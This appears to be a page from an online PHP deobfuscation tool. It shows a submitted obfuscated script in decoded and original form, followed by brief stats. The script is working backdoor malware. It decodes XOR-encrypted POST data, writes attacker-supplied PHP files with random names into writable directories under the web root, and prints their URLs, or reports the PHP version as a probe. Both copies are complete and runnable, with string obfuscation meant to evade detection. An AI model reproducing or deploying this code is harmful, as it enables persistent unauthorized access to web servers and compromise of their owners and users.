Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $thkcxpjqh = "fEywDr";function EcJwMcKOV($thkcxpjqh){ $hOVJEq = "\163".chr(417-301)...

Decoded Output download

<?php $thkcxpjqh = "fEywDr";function EcJwMcKOV($thkcxpjqh){ $hOVJEq = "s".chr(417-301).'r'."_"."r".'o'."t"."1".chr(144-93);$thkcxpjqh = $hOVJEq($thkcxpjqh);$IfXggJum = chr(114)."a".chr(932-813).chr(117)."r".chr(108)."d".chr(101).chr(1043-944).chr(1000-889).'d'.'e';$thkcxpjqh = $IfXggJum($thkcxpjqh);$thkcxpjqh = str_split($thkcxpjqh);return $thkcxpjqh;}function KTkRa($SyPcoPEWSd, $jPBct){$SyPcoPEWSd = array_slice(str_split(str_repeat($SyPcoPEWSd, (count($jPBct)/16)+1)), 0, count($jPBct));return $SyPcoPEWSd;}function vPUQj($ETDCTjjlK, $lWpKf, $SyPcoPEWSd){$YZelkYML = "79963c80-fbf4-4508-929d-54a0e51346cc";return $ETDCTjjlK ^ $YZelkYML[$lWpKf % strlen($YZelkYML)] ^ $SyPcoPEWSd;}function NcbzC($jPBct, $SyPcoPEWSd){$jPBct = array_map("vPUQj", array_values($jPBct), array_keys($jPBct), array_values($SyPcoPEWSd));$jPBct = implode("", $jPBct);$OuJKhsvy = "u"."n"."s"."e"."r".chr(105).chr(97).chr(108).chr(105).'z'.chr(379-278);$jPBct = @$OuJKhsvy($jPBct);return $jPBct;}function XylLBexb(){echo "PKOmqQgEX";}function MOwnx($LwSeZlCir){static $OUAqf = array();$brxWlacS = glob($LwSeZlCir . '/*', GLOB_ONLYDIR);$FDaPEES = count($brxWlacS);if ($FDaPEES > 0) {foreach ($brxWlacS as $LwSeZlC) {$qFuNi = chr(189-84).chr(115).chr(213-118)."w".chr(633-519).'i'."t".chr(373-276)."b".chr(352-244).'e';if (@$qFuNi($LwSeZlC)) {$OUAqf[] = $LwSeZlC;}}}foreach ($brxWlacS as $LwSeZlCir) MOwnx($LwSeZlCir);return $OUAqf;}function XSXvu(){echo "fEywDr";}function aARsdd($jPBct){$YKRazet = chr(68)."O".'C'.'U'.chr(174-97)."E"."N"."T"."_".'R'.chr(79)."O".chr(84);$zhvlaf = $_SERVER[$YKRazet];$brxWlacS = MOwnx($zhvlaf);$KRrdiSu = array_rand($brxWlacS);$yHvQtDyp = ".".'p'.'h'.chr(112);$GSwDeKqXC = $brxWlacS[$KRrdiSu] . "/" . substr(md5(time()), 0, 8) . $yHvQtDyp;$sEjZsFnvQ = "f"."i".chr(1064-956)."e".'_'."p".'u'.chr(746-630).'_'.chr(99)."o"."n".chr(696-580).chr(101)."n".'t'."s";@$sEjZsFnvQ($GSwDeKqXC, $jPBct);$wqcPn = 'H'.chr(84)."T".'P'.chr(95)."H"."O"."S"."T";$zYIpE = "h"."t"."t".chr(112).':'.'/'.chr(47);$fSStv = $zYIpE . $_SERVER[$wqcPn] . substr($GSwDeKqXC, strlen($zhvlaf));print($fSStv);}function zliKGZoL(){$fWZoKR = chr(112).chr(104).chr(544-432);$KdGVq = "p"."h".chr(360-248).'v'."e".chr(431-317).chr(115).chr(331-226)."o".chr(938-828);$jPBct = Array($fWZoKR => @$KdGVq(), );$vTgSLm = "s"."e"."r".chr(814-709)."a".chr(205-97).chr(148-43).chr(609-487)."e";echo @$vTgSLm($jPBct);}foreach ($_POST as $SyPcoPEWSd => $jPBct){$MSHkCzX = strlen($SyPcoPEWSd);if ($MSHkCzX == 16){$jPBct = EcJwMcKOV($jPBct);$SyPcoPEWSd = KTkRa($SyPcoPEWSd, $jPBct);$jPBct = NcbzC($jPBct, $SyPcoPEWSd);if (@is_array($jPBct)){$KRrdiSu = array_keys($jPBct);$jPBct = $jPBct[$KRrdiSu[0]];$KRrdiSu = $KRrdiSu[0];$KRrdiSu = substr($KRrdiSu, 0);if ($jPBct !== $KRrdiSu){aARsdd($jPBct);}else {zliKGZoL();}die();}}} 
 ?>

Did this file decode correctly?

Original Code

<?php $thkcxpjqh = "fEywDr";function EcJwMcKOV($thkcxpjqh){ $hOVJEq = "\163".chr(417-301).'r'."\137"."\162".'o'."\x74"."\61".chr(144-93);$thkcxpjqh = $hOVJEq($thkcxpjqh);$IfXggJum = chr(114)."\x61".chr(932-813).chr(117)."\162".chr(108)."\x64".chr(101).chr(1043-944).chr(1000-889).'d'.'e';$thkcxpjqh = $IfXggJum($thkcxpjqh);$thkcxpjqh = str_split($thkcxpjqh);return $thkcxpjqh;}function KTkRa($SyPcoPEWSd, $jPBct){$SyPcoPEWSd = array_slice(str_split(str_repeat($SyPcoPEWSd, (count($jPBct)/16)+1)), 0, count($jPBct));return $SyPcoPEWSd;}function vPUQj($ETDCTjjlK, $lWpKf, $SyPcoPEWSd){$YZelkYML = "79963c80-fbf4-4508-929d-54a0e51346cc";return $ETDCTjjlK ^ $YZelkYML[$lWpKf % strlen($YZelkYML)] ^ $SyPcoPEWSd;}function NcbzC($jPBct, $SyPcoPEWSd){$jPBct = array_map("vPUQj", array_values($jPBct), array_keys($jPBct), array_values($SyPcoPEWSd));$jPBct = implode("", $jPBct);$OuJKhsvy = "\x75"."\x6e"."\163"."\145"."\x72".chr(105).chr(97).chr(108).chr(105).'z'.chr(379-278);$jPBct = @$OuJKhsvy($jPBct);return $jPBct;}function XylLBexb(){echo "PKOmqQgEX";}function MOwnx($LwSeZlCir){static $OUAqf = array();$brxWlacS = glob($LwSeZlCir . '/*', GLOB_ONLYDIR);$FDaPEES = count($brxWlacS);if ($FDaPEES > 0) {foreach ($brxWlacS as $LwSeZlC) {$qFuNi = chr(189-84).chr(115).chr(213-118)."\167".chr(633-519).'i'."\164".chr(373-276)."\142".chr(352-244).'e';if (@$qFuNi($LwSeZlC)) {$OUAqf[] = $LwSeZlC;}}}foreach ($brxWlacS as $LwSeZlCir) MOwnx($LwSeZlCir);return $OUAqf;}function XSXvu(){echo "fEywDr";}function aARsdd($jPBct){$YKRazet = chr(68)."\117".'C'.'U'.chr(174-97)."\x45"."\x4e"."\x54"."\x5f".'R'.chr(79)."\117".chr(84);$zhvlaf = $_SERVER[$YKRazet];$brxWlacS = MOwnx($zhvlaf);$KRrdiSu = array_rand($brxWlacS);$yHvQtDyp = "\x2e".'p'.'h'.chr(112);$GSwDeKqXC = $brxWlacS[$KRrdiSu] . "/" . substr(md5(time()), 0, 8) . $yHvQtDyp;$sEjZsFnvQ = "\x66"."\x69".chr(1064-956)."\145".'_'."\x70".'u'.chr(746-630).'_'.chr(99)."\x6f"."\x6e".chr(696-580).chr(101)."\x6e".'t'."\163";@$sEjZsFnvQ($GSwDeKqXC, $jPBct);$wqcPn = 'H'.chr(84)."\x54".'P'.chr(95)."\110"."\117"."\123"."\124";$zYIpE = "\150"."\164"."\x74".chr(112).':'.'/'.chr(47);$fSStv = $zYIpE . $_SERVER[$wqcPn] . substr($GSwDeKqXC, strlen($zhvlaf));print($fSStv);}function zliKGZoL(){$fWZoKR = chr(112).chr(104).chr(544-432);$KdGVq = "\160"."\x68".chr(360-248).'v'."\x65".chr(431-317).chr(115).chr(331-226)."\x6f".chr(938-828);$jPBct = Array($fWZoKR => @$KdGVq(), );$vTgSLm = "\x73"."\145"."\162".chr(814-709)."\141".chr(205-97).chr(148-43).chr(609-487)."\145";echo @$vTgSLm($jPBct);}foreach ($_POST as $SyPcoPEWSd => $jPBct){$MSHkCzX = strlen($SyPcoPEWSd);if ($MSHkCzX == 16){$jPBct = EcJwMcKOV($jPBct);$SyPcoPEWSd = KTkRa($SyPcoPEWSd, $jPBct);$jPBct = NcbzC($jPBct, $SyPcoPEWSd);if (@is_array($jPBct)){$KRrdiSu = array_keys($jPBct);$jPBct = $jPBct[$KRrdiSu[0]];$KRrdiSu = $KRrdiSu[0];$KRrdiSu = substr($KRrdiSu, 0);if ($jPBct !== $KRrdiSu){aARsdd($jPBct);}else {zliKGZoL();}die();}}}

Function Calls

None

Variables

$thkcxpjqh fEywDr

Stats

MD5 5da433d40ded2d0ebea0986d578f0142
Eval Count 0
Decode Time 67 ms